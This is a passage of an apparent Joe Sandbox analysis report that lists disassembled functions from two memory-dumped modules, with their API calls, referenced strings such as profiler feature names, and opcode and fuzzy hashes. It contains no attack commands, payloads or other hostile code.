memset.VCRUNTIME140(?,000000FF,?), ref: 6CA888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA8925C

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: b9497e8f7b649d5ca20a415a18526cf39dbdaf19329ea07ed4728251f6ece5c4
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: EDB1B672E0520A8FDB14CF68C9816EDB7B2EF85314F190279C949EB785D730A9D9CB90

Function 6CBEAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a15be13afb8ed5670f9470cad715d0b5be35abb0181fa3e9b57a04b3c08b1975
Instruction ID: 217024358f66d768a35c0fd3719c8e33ac4094a90e49d8129dc2cf4da6016578
Opcode Fuzzy Hash: a15be13afb8ed5670f9470cad715d0b5be35abb0181fa3e9b57a04b3c08b1975
Instruction Fuzzy Hash: 5BF1CD71E022968FDB05CF28C9403AA7BF4EB8B748F15462DC905DB750E774A992CBC6

Function 6CAC6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6CAC702B
sz=[0-9]*, xrefs: 6CAC7049
*?[, xrefs: 6CAC7034, 6CAC7052, 6CAC7070
noskipscan*, xrefs: 6CAC7067

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: a966b21ee54de0e06c2cfde22d542aba74aff59163728a5586d6f595e332914f
Instruction ID: c1a6c589bd0bcd929643f7e7469e6f4c5719f064e15e0f662234d08f075991a7
Opcode Fuzzy Hash: a966b21ee54de0e06c2cfde22d542aba74aff59163728a5586d6f595e332914f
Instruction Fuzzy Hash: B7717B32F042154BEB148E6DC8807AE77A29F85314F294278C969EBFD1E6719CC687D3

Function 6CA56CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CA56D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA56E1E

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 220f6e3224d04340ad7f02497ec881710c4b85d877bbc6d6337b969bfd186854
Instruction ID: 6f2b7256ff7771e48e4edd00b178faac71e92c43950c333b6915f52e0f4e25c2
Opcode Fuzzy Hash: 220f6e3224d04340ad7f02497ec881710c4b85d877bbc6d6337b969bfd186854
Instruction Fuzzy Hash: 5CA180746183818FD715CF25C5907AEFBF2BF89308F44891DE88A87751DB70A899CB92

Function 6CA785F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA78C7C
__aulldiv.LIBCMT ref: 6CA78DD7

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 236d19bd602cac76b3d6e21e36af5de81d7f31041d9f5fd2f4a0afe4df0bd6d1
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: EB327035F011198BDF18CE9DC8A17EEB7B2FB88700F15853AD506BB790DA349D858BA1

Function 6CB5EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB5F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CB5F0F9

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 0d3edf8c4f1cd5febd6c17565621d02ca290c46d9afe9a74958990bb48b8eec2
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 7591A071A0035A8BCB14CF68C8916AEF7F2FF85324F68462DD962A7BC0D730A915CB51

Function 6CB82F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CBA7929), ref: 6CB82FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CBA7929), ref: 6CB82FE0

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: f6e9fa5d1a96c1002095a2150f5f34c114184fb3b3fb63b331fcf4ddb454ba43
Instruction ID: 52a8ca15d7c935a151ede2ae14fb2b25061067edeb8849e10f467932c0ec677e
Opcode Fuzzy Hash: f6e9fa5d1a96c1002095a2150f5f34c114184fb3b3fb63b331fcf4ddb454ba43
Instruction Fuzzy Hash: 275111B1A079918FDB10CE59C890B6E73B9FF45318F290129D949ABB02C731E946CB82

Function 6CBA0E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CBA1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CBA1086

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 0ebc428a1911ecefdc2a678382c699dd1d26f95e6e6f25b4ce5722e36b3db5cb
Instruction ID: 187f066756cd60faf7c092d72042996afb26388ac4582080d2819be97d088b34
Opcode Fuzzy Hash: 0ebc428a1911ecefdc2a678382c699dd1d26f95e6e6f25b4ce5722e36b3db5cb
Instruction Fuzzy Hash: 79A12A71E0528A9FDF08CF99D890AAEBBB6FF48314F148129E955A7700D735AC12CB90

Function 6CACAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CACAE18
winUnlockReadLock, xrefs: 6CACAE9F

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 9b9356162a1b1fb9b8a32a0527b9813457f91eb786077375951ec39e0e58e246
Instruction ID: 810b780e7f6068d7b7722dc1e01a11a874071b1194ba48fed62b617c51582105
Opcode Fuzzy Hash: 9b9356162a1b1fb9b8a32a0527b9813457f91eb786077375951ec39e0e58e246
Instruction Fuzzy Hash: 15717C74608254ABDB04CF28D880AABBBF5FF8A314F14C61CF95997201D730AD86CBD2

Function 6CB8ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CB8EE3D

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 29b2b20118473662591b890f5bd6aeeb720178433e1357d9aad389c61723b02a
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: B271D376E027818FEB18CF59C88066EB7F2FB98304F15462DD8569BB91D730E900CB91

Function 6CA55C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA24A63,?,?), ref: 6CA55F06

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1373ec63de5296baec81fa78438cad778018587dbe8f3e8c7ed213cf0254c875
Instruction ID: 305ed4f12677996fdd4e42c53f61617e518856d62829d905693dd6103b3cafa8
Opcode Fuzzy Hash: 1373ec63de5296baec81fa78438cad778018587dbe8f3e8c7ed213cf0254c875
Instruction Fuzzy Hash: FFC1D475E012098BCB04CF95C5906DEBBF2FF8A318F68815DD8556BB45D7326899CB80

Function 6CAC4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CAC5125

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: d508e0980aeb6f3a0328788139e78fb7d25767166bf070a3298699f8f874f17f
Instruction ID: 24528f5adc4bf2a94b658ff9e1fd1fa5fb425cd8ca9b9dcd9a8f1efc1f995e1e
Opcode Fuzzy Hash: d508e0980aeb6f3a0328788139e78fb7d25767166bf070a3298699f8f874f17f
Instruction Fuzzy Hash: EAE12874A19340DFDB04DF28D48865ABBF0FF8A318F159A1DF89997251E730E985CB82

Function 6CA8AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaf8589099bec15bbfa667ac3d23ad4f2ea300087aae451f1b5a4115b85304e7
Instruction ID: 7de5e0214ee0fc0f2fc1670fb4f28cda59c51a56bf31e1539c6f45deeaad40f7
Opcode Fuzzy Hash: aaf8589099bec15bbfa667ac3d23ad4f2ea300087aae451f1b5a4115b85304e7
Instruction Fuzzy Hash: 10F14871A0A7458FD700CE28C8903AAB7E3AFC5318F188A2DE5D5877C1E7749CC98792

Function 6CB4A820 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eca0c62eef26ec4805087f311ac65ea7a8178d3fdc0151afaa1d1da5d5231f4
Instruction ID: 03b6eb496ba54b94d40e93b8eb1be9f543e85278b7561ebc803947e77ccd24f4
Opcode Fuzzy Hash: 7eca0c62eef26ec4805087f311ac65ea7a8178d3fdc0151afaa1d1da5d5231f4
Instruction Fuzzy Hash: 15519C71A09299CFDB04CF19D944BAA7BA9EF49308F26C07DE8198B758D730D841DF91

Function 6CB28EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bf38ce3e1695220a46c5628cb1f485086e85fc09b1bdd60e79dc0f6a6d27799
Instruction ID: 03fc58a8eab06ba63fce8935c1010fd2ac77b083069bae2058fe286b40991f98
Opcode Fuzzy Hash: 0bf38ce3e1695220a46c5628cb1f485086e85fc09b1bdd60e79dc0f6a6d27799
Instruction Fuzzy Hash: 48119133A012558BDB14DF25D88476AB7B5FF4231CF18466AD8198FA41C77AE886C7C2

Function 6CC00C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9bf8256aa3fd2149a5e16962c30655c70d1340a86743a1e3a6f698648e2ec99
Instruction ID: 3a570737f58a3289e9ca4345c8a8cfac10841ee7ece5cc4f060073afc86ae1db
Opcode Fuzzy Hash: f9bf8256aa3fd2149a5e16962c30655c70d1340a86743a1e3a6f698648e2ec99
Instruction Fuzzy Hash: 5511C174B043058FCB00DF19C88066A7BB5FF85368F14806DD8198B701EB32E846CBA1

Function 6CC00D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 4a9f92d8770a7a0317b5405a3bc50ca4e342821633b2cf65bf579c8817e7aa13
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 61E06D3A302654A7DB148E09C450AA97359EF82619FA680B9CC599BA01EA33F803C7A1

Function 6CB2CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dd4b366534796753334e7783ae86b00a57c37892c2812f7022df57cbcba65ec
Instruction ID: 3adf1969e1e1e4f2961be8f513670264d8431639de400608828cea1cc8034071
Opcode Fuzzy Hash: 2dd4b366534796753334e7783ae86b00a57c37892c2812f7022df57cbcba65ec
Instruction Fuzzy Hash: BEC09238244708CFC704DF08E489DA43BF8FF0D6117040094EA028B721DB31FC10CA80

Function 6CA5CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA2582D), ref: 6CA5CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA2582D), ref: 6CA5CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA8FE98,?,?,?,?,?,6CA2582D), ref: 6CA5CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA2582D), ref: 6CA5CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA2582D), ref: 6CA5CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA2582D), ref: 6CA5CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA2582D), ref: 6CA5CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA5CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA5CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA5CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA5CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA5CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA5CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA5CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA5CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA5CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA5CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA5CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA5CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA5CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA5CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA5CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA5CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA5CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA5CE8A

Strings

jsallocations, xrefs: 6CA5CD0E
leaf, xrefs: 6CA5CC66
audiocallbacktracing, xrefs: 6CA5CDD4
ipcmessages, xrefs: 6CA5CDBE
Unrecognized feature "%s"., xrefs: 6CA5CEA0
noiostacks, xrefs: 6CA5CCBE
nostacksampling, xrefs: 6CA5CD7C
markersallthreads, xrefs: 6CA5CE42
notimerresolutionchange, xrefs: 6CA5CE00
screenshots, xrefs: 6CA5CCD4
unregisteredthreads, xrefs: 6CA5CE58
processcpu, xrefs: 6CA5CE6E
